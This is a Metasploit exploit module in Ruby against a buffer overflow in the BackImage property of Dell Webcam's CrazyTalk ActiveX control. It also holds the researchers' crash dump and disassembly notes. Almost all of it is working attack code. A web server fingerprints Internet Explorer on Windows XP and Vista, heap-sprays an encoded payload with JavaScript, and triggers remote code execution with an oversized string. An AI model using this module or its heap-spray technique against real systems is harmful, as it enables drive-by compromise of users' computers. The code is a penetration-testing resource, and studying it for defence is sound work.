177 lines
5.4 KiB
Ruby
177 lines
5.4 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability in Dell Webcam's CrazyTalk component.
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Specifically, when supplying a long string of file path to the BackImage
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property, an overflow may occur after checking certain file extension names,
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which results remote code execution under the context of the user.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'rgod', #Discovery, PoC
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'sinn3r' #Metasploit
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],
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'References' =>
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[
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[ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/18621/' ]
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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'StackAdjustment' => -3500
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "seh",
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600'} ],
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[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600'} ],
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[ 'IE 7 on Windows Vista', { 'Offset' => '0x600'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Mar 19 2012",
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'DefaultTarget' => 0))
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end
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def get_target(agent)
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#If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] #IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] #IE 7 on Windows XP SP3
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elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
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return targets[3] #IE 7 on Windows Vista
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else
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return nil
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end
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
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send_not_found(cli)
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return
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end
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print_status("#{cli.peerhost}:#{cli.peerport} - Target set: #{my_target.name}")
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
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js = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x300; i++) {
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heap_obj.alloc(block);
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}
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JS
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js = heaplib(js, {:noobfu => true})
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html = <<-EOS
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<html>
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<head>
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<script>
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#{js}
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</script>
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</head>
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<body>
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<object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object>
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<script>
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var arg = "\x0c";
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while (arg.length < 2000) arg += arg;
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target.BackImage = arg.substring(0, 2000);
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</script>
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</html>
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EOS
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print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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end
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=begin
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The tmp path has the username that we cannot accurately control remotely, so there's
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no point to try to overwrite the stack precisely.
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targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"
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prototype = "Invoke_Unknown BackImage As String"
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memberName = "BackImage"
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progid = "CRAZYTALK4Lib.CrazyTalk4"
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argCount = 1
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(d4c.d9c): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac
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eip=41414141 esp=020bf33c ebp=020bf390 iopl=0 nv up ei pl nz na po nc
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cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
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<Unloaded_Ed20.dll>+0x41414140:
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41414141 ?? ???
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======
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.text:03854F59 lea ecx, [esp+33Ch+Str1]
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.text:03854F5D push offset a_asp ; ".asp"
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.text:03854F62 push ecx ; Str1
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.text:03854F63 mov [esp+344h+var_308], 0
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.text:03854F68 call ebx ; _stricmp <-- Nope
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.text:03854F71 lea edx, [esp+328h+Str1]
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.text:03854F75 push offset a_php ; ".php"
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.text:03854F7A push edx ; Str1
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.text:03854F7B call ebx ; _stricmp <--- Still nope
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.text:03854F84 mov ebx, [esp+328h+Dest]
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.text:03854F8B lea eax, [esp+328h+Str1]
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.text:03854F8F lea ecx, [esp+328h+Filename]
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.text:03854F96 push eax
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.text:03854F97 add esi, 3B44h
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.text:03854F9D push ecx
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.text:03854F9E push esi
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.text:03854F9F push offset aSSS ; "%s%s%s"
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.text:03854FA4 push ebx ; Dest
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.text:03854FA5 call ds:sprintf
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=end
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